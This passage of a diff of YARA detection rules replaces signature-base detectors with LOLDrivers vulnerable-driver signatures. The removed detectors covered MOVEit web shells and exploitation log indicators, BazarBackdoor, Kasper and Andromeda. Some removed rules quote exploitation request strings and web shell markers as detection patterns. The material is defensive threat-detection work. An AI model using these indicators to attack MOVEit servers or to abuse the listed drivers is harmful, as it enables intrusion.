+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00470065007400610063002000530079007300740065006d00200053006500720076006900630065002000500072006f00760069006400650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047006500740061006300200054006500630068006e006f006c006f0067007900200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320031002c00200032002c00200030002c00200031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320031002c00200032002c00200030002c00200031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006d0074006300420053007600360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00470065007400610063002000530079007300740065006d00200053006500720076006900630065002000500072006f00760069006400650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004700740063004b006d0064006600420073002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020003200300031003900200047006500740061006300200054006500630068006e006f006c006f0067007900200043006f00720070006f0072006100740069006f006e }
 
 	condition:
-		uint16(0)==0x5746 and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_WEBSHELL_ASPX_DLL_Moveit_Jun23_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Genitlkiwibenjaminxxxxx_Titidrv_Titidrvtiticatz_208E : FILE
 {
 	meta:
-		description = "Detects compiled ASPX web shells found being used in MOVEit Transfer exploitation"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - titidrv.sys"
 		author = "Florian Roth"
-		id = "47db8602-9a9e-5efc-b8b9-fbc4f3c8d4e9"
-		date = "2023-06-01"
-		modified = "2023-12-05"
-		reference = "https://www.trustedsec.com/blog/critical-vulnerability-in-progress-moveit-transfer-technical-analysis-and-recommendations/?utm_content=251159938&utm_medium=social&utm_source=twitter&hss_channel=tw-403811306"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vuln_moveit_0day_jun23.yar#L2-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "47c2ec1e833852941434586b61d6f435b9acb32b2ff48e0a9e8006e0f9ff8056"
-		score = 85
-		quality = 85
+		id = "06cdecba-e002-5354-ac4a-09bd8178ae37"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5480-L5499"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "208ea38734979aa2c86332eba1ea5269999227077ff110ac0a0d411073165f85"
+		logic_hash = "c1a57d6f66fd8818dd72813a3bac78eab44b2b546f65a78864739cb55a258d39"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "6cbf38f5f27e6a3eaf32e2ac73ed02898cbb5961566bb445e3c511906e2da1fa"
 
 	strings:
-		$x1 = "human2_aspx" ascii fullword
-		$x2 = "X-siLock-Comment" wide
-		$x3 = "x-siLock-Step1" wide
-		$a1 = "MOVEit.DMZ.Core.Data" ascii fullword
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]007400690074006900640072007600200066006f0072002000570069006e0064006f00770073002000280074006900740069006300610074007a0029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00670065006e00690074006c006b0069007700690020002800420065006e006a0061006d0069006e0020005800580058005800580029 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0031002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0031002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0074006900740069006400720076 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0074006900740069006400720076002000280074006900740069006300610074007a0029 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0074006900740069006400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003000370020002d00200032003000310037002000670065006e00690074006c006b0069007700690020002800420065006e006a0061006d0069006e0020005800580058005800580029 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <40KB and (1 of ($x*) and $a1) or all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_WEBSHELL_ASPX_Moveit_Jun23_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Advancedmicrodevicesinc_Pdfwkrnlsys_Usbcpowerdeliveryfirmwareupdateutilitydriver_5DF6 : FILE
 {
 	meta:
-		description = "Detects ASPX web shells as being used in MOVEit Transfer exploitation"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PDFWKRNL.sys"
 		author = "Florian Roth"
-		id = "2c789b9c-5ec5-5fd1-84e3-6bf7735a9488"
-		date = "2023-06-01"
-		modified = "2023-12-05"
-		reference = "https://www.rapid7.com/blog/post/2023/06/01/rapid7-observed-exploitation-of-critical-moveit-transfer-vulnerability/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vuln_moveit_0day_jun23.yar#L24-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "436f9a503ad938541faa8f34604310ba6d932e40a41dc189ccd293b7191a7621"
-		score = 85
-		quality = 85
+		id = "c43c80e9-64c4-553a-8c2e-1b32cee12673"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5502-L5521"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "5df689a62003d26df4aefbaed41ec1205abbf3a2e18e1f1d51b97711e8fcdf00"
+		logic_hash = "b560682fe9ed95a19df7dcc6ea823545d2303a51aaa06dc14e48c73f2e6fe8b7"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "2413b5d0750c23b07999ec33a5b4930be224b661aaf290a0118db803f31acbc5"
-		hash2 = "48367d94ccb4411f15d7ef9c455c92125f3ad812f2363c4d2e949ce1b615429a"
-		hash3 = "e8012a15b6f6b404a33f293205b602ece486d01337b8b3ec331cd99ccadb562e"
 
 	strings:
-		$s1 = "X-siLock-Comment" ascii fullword
-		$s2 = "]; string x = null;" ascii
-		$s3 = ";  if (!String.Equals(pass, " ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005500530042002d004300200050006f007700650072002000440065006c006900760065007200790020004600690072006d007700610072006500200055007000640061007400650020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0050004400460057004b0052004e004c002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005500530042002d004300200050006f007700650072002000440065006c006900760065007200790020004600690072006d007700610072006500200055007000640061007400650020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0050004400460057004b0052004e004c002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020003200300032003300200041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073002c00200049006e0063002e }
 
 	condition:
-		filesize <150KB and 2 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_LOG_EXPL_Moveit_Exploitation_Indicator_Jun23_1
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_B9AD : FILE
 {
 	meta:
-		description = "Detects a potential compromise indicator found in MOVEit Transfer logs"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
 		author = "Florian Roth"
-		id = "a7c521b8-c654-51dd-9d5b-4ba883feffe3"
-		date = "2023-06-01"
-		modified = "2023-12-05"
-		reference = "https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vuln_moveit_0day_jun23.yar#L43-L56"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "26674d8dea5cb2e95e442c4c75d80ca610f7373f0b216c0b1c83a5b1f9f70316"
-		score = 70
-		quality = 85
-		tags = ""
+		id = "b5b42779-0d81-5133-864f-f36337593c81"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5524-L5543"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "b9ad7199c00d477ebbc15f2dcf78a6ba60c2670dad0ef0994cebccb19111f890"
+		logic_hash = "c8efd23f9fb60831cede71737c5d1e62d94f3b44a2b3da7f29db06ca4599821d"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$x1 = "POST /moveitisapi/moveitisapi.dll action=m2 " ascii
-		$x2 = " GET /human2.aspx - 443 " ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200033002c00200032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003900200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_LOG_EXPL_Moveit_Exploitation_Indicator_Jun23_2
+rule LOLDRIVERS_PUA_VULN_Driver_Cn_Computerzsys_348D : FILE
 {
 	meta:
-		description = "Detects a potential compromise indicator found in MOVEit Transfer logs"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
 		author = "Florian Roth"
-		id = "1527f5e3-071d-5152-9452-9c4472d258f2"
-		date = "2023-06-03"
-		modified = "2023-12-05"
-		reference = "https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vuln_moveit_0day_jun23.yar#L58-L79"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "56328d078801a702ad47f01f356df6f00be8da593d03c549e77312af9b47b5be"
-		score = 70
-		quality = 85
-		tags = ""
+		id = "4856e997-d5de-5bae-a35b-88ab55b77ae7"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5546-L5566"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "348dc502ac57d7362c7f222e656c52e630c90bef92217a3bd20e49193b5a69f1"
+		hash = "c186967cc4f2a0cb853c9796d3ea416d233e48e735f02b1bb013967964e89778"
+		logic_hash = "435219f0b49a009eb42ffa096c4acefc48f85d03a8656d5142df20deee19cf08"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$a1 = "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/105.0.5195.102+Safari/537.36" ascii
-		$a2 = "Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/105.0.5195.54+Safari/537.36" ascii
-		$s1 = " POST /moveitisapi/moveitisapi.dll" ascii
-		$s2 = " POST /guestaccess.aspx"
-		$s3 = " POST /api/v1/folders/"
-		$s4 = "/files uploadType=resumable&"
-		$s5 = " action=m2 "
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]003300360030002e0063006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e00310031002e0031003100320039 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036002e00310031002e0031003100320039 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]003300360030786c4ef659275e08 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]7248674362406709002000280043002900200032003000310030002d00320030003100310020003300360030002e0063006e }
 
 	condition:
-		1 of ($a*) and 3 of ($s*) or all of ($s*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_LOG_EXPL_Moveit_Exploitation_Indicator_Jun23_3
+rule LOLDRIVERS_PUA_VULN_Driver_Mydriverscom_Hwm_Drivergenius_08EB : FILE
 {
 	meta:
-		description = "Detects a potential compromise indicator found in MOVEit DMZ Web API logs"
-		author = "Nasreddine Bencherchali"
-		id = "113a501f-d9ed-51fd-82cd-ccb6f02833bd"
-		date = "2023-06-13"
-		modified = "2023-12-05"
-		reference = "https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vuln_moveit_0day_jun23.yar#L81-L94"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2eaa06c31687c6368f036a705fdc1b1c42355f19c098ae764a998039cc4aebb5"
-		score = 70
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mydrivers.sys"
+		author = "Florian Roth"
+		id = "a944a7a1-f938-548e-8788-a4733d777850"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5569-L5588"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "08eb2d2aa25c5f0af4e72a7e0126735536f6c2c05e9c7437282171afe5e322c6"
+		logic_hash = "2371de5547217734226420bbbee12dee897206bd2419387d2c2fc2ae07df7fec"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "TargetInvocationException" ascii
-		$s2 = "MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler.DeserializeFileUploadStream" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00440072006900760065007200470065006e0069007500730020004800610072006400770061007200650020006d006f006e00690074006f0072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00790044007200690076006500720073002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0039002e0032002e003700300037002e0031003200310034 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032003000310036002e0037002e0037002e0031003200310034 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00480057004d }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00440072006900760065007200470065006e006900750073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006d00790064007200690076006500720073002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020004d00790044007200690076006500720073002e0063006f006d00200061006c006c002000720069006700680074 }
 
 	condition:
-		all of ($s*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Crime_Win64_Backdoor_Bazarbackdoor1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_3E27 : FILE
 {
 	meta:
-		description = "Detects BazarBackdoor injected 64-bit malware"
-		author = "@VK_Intel"
-		id = "1e387791-97fa-527d-87ed-68872b1891c4"
-		date = "2020-04-24"
-		modified = "2023-12-05"
-		reference = "https://twitter.com/pancak3lullz/status/1252303608747565057"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_bazarbackdoor.yar#L1-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "becb6ebc3a1be061b4f602cc188b172f59bfb6342605af68d8b38009d589f57e"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SANDRA.sys"
+		author = "Florian Roth"
+		id = "5e116c70-6da1-5397-9b73-32955086c886"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5591-L5610"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3e274df646f191d2705c0beaa35eeea84808593c3b333809f13632782e27ad75"
+		logic_hash = "18affdea7f982e47ca4852d9a4a28797a1ca3175c404c8e5c316ee3a610cf858"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		tlp = "white"
 
 	strings:
-		$str1 = "%id%"
-		$start = { 48 ?? ?? ?? ?? 57 48 83 ec 30 b9 01 00 00 00 e8 ?? ?? ?? ?? 84 c0 0f ?? ?? ?? ?? ?? 40 32 ff 40 ?? ?? ?? ?? e8 ?? ?? ?? ?? 8a d8 8b ?? ?? ?? ?? ?? 83 f9 01 0f ?? ?? ?? ?? ?? 85 c9 75 ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 85 c0 74 ?? b8 ff 00 00 00 e9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? eb ?? 40 b7 01 40 ?? ?? ?? ?? 8a cb e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? 48 8b d8 48 ?? ?? ?? 74 ??}
-		$server = {40 53 48 83 ec 20 48 8b d9 e8 ?? ?? ?? ?? 85 c0 75 ?? 0f ?? ?? ?? ?? ?? ?? 66 83 f8 50 74 ?? b9 bb 01 00 00 66 3b c1 74 ?? a8 01 74 ?? 48 8b cb e8 ?? ?? ?? ?? 84 c0 75 ?? 48 8b cb e8 ?? ?? ?? ?? b8 f6 ff ff ff eb ?? 33 c0 48 83 c4 20 5b c3}
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003600340020007800360034002900280055006e00690063006f006400650029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0037002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0037002e0031002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300037002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Kaspermalware_Oct17_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Evgatechnologyinc_Windowsvistasmartiodevice_Windowsvistasmartiodevice_3C95 : FILE
 {
 	meta:
-		description = "Detects Kasper Backdoor"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7201d8ee-50ee-5a5c-a5b8-ee36c78b0d6e"
-		date = "2017-10-24"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_kasper_oct17.yar#L13-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "15758407fb3039f1453f13d579d7df9525645e4717078f6b1fa482ab335e3a56"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SMARTEIO64.SYS"
+		author = "Florian Roth"
+		id = "a5b9f906-4250-52f7-84ba-ad8f6a5ebabc"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5613-L5632"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3c95ebf3f1a87f67d2861dbd1c85dc26c118610af0c9fbf4180428e653ac3e50"
+		logic_hash = "e0bf6bd64e91baa27e1181223cba6f4975b5b5a9fd9918d4c65180ed584b319b"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "758bdaf26a0bd309a5458cb4569fe1c789cf5db087880d6d1676dec051c3a28d"
 
 	strings:
-		$x1 = "\\Release\\kasper.pdb" ascii
-		$x2 = "C:\\D@oc@um@en@ts a@nd Set@tings\\Al@l Users" wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069006e0064006f007700730020005600690073007400610036003400200053006d00610072007400200049004f0020004400650076006900630065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004500560047004100200054006500630068006e006f006c006f0067007900200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00310033002e00300031002e0032003000300038002d0031002e00300030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00310033002e00300031002e0032003000300038002d0031002e00300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00570069006e0064006f007700730020005600690073007400610036003400200053006d00610072007400200049004f0020004400650076006900630065 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020005600690073007400610036003400200053006d00610072007400200049004f0020004400650076006900630065 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0053004d00410052005400450049004f00360034002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002800630029002000320030003000370020004500560047004100200054006500630068006e006f006c006f0067007900200049006e0063002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <7000KB and (pe.imphash()=="2bceb64cf37acd34bc33b38f2cddfb61" or 1 of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Andromeda_Malbot_Jun_1A : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_033C : FILE
 {
 	meta:
-		description = "Detects a malicious Worm Andromeda / RETADUP"
-		author = "Florian Roth (Nextron Systems)"
-		id = "42ee6ba3-85ea-5369-bd9b-8ffdec6e17bc"
-		date = "2017-06-30"
-		modified = "2022-12-21"
-		reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_andromeda_jun17.yar#L12-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5958608ad5527628c4b6cbe08badbff39a50dcdb6cf603f6fbb5fa32ef61c0c7"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "13af3aa3-b338-57ac-b803-f811b695717e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5635-L5654"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "033c4634ab1a43bc3247384864f3380401d3b4006a383312193799dded0de4c7"
+		logic_hash = "fea547a999db61dd4c87d648d8e0e1a50f9c677439d514cfdd0a75a5a6da4c8f"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3c223bbf83ac2f91c79383a53ed15b0c8ffe2caa1bf52b26c17fd72278dc7ef9"
-		hash2 = "73cecc67bb12cf5a837af9fba15b7792a6f1a746b246b34f8ed251c4372f1a98"
-		hash3 = "66035cc81e811735beab573013950153749b02703eae58b90430646f6e3e3eb4"
-		hash4 = "42a02e6cf7c424c12f078fca21805de072842ec52a25ea87bd7d53e7feb536ed"
 
 	strings:
-		$x1 = "%temp%\\FolderN\\name.exe" fullword wide
-		$x2 = "%temp%\\FolderN\\name.exe.lnk" fullword wide
-		$x3 = "\\Startup\\name.exe" wide
-		$x4 = "firefox.exe.exe" fullword wide
-		$x5 = "\\Desktop\\New folder\\dark.exe" wide
-		$x6 = "\\x86\\Release\\word.pdb" ascii
-		$x7 = "\\obj\\Release\\botkill.pdb" ascii
-		$s1 = "4System.Web.Services.Protocols.SoapHttpClientProtocol" fullword ascii
-		$s2 = "svhost.exe" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f00770073002000780036003400200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200031002c00200032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
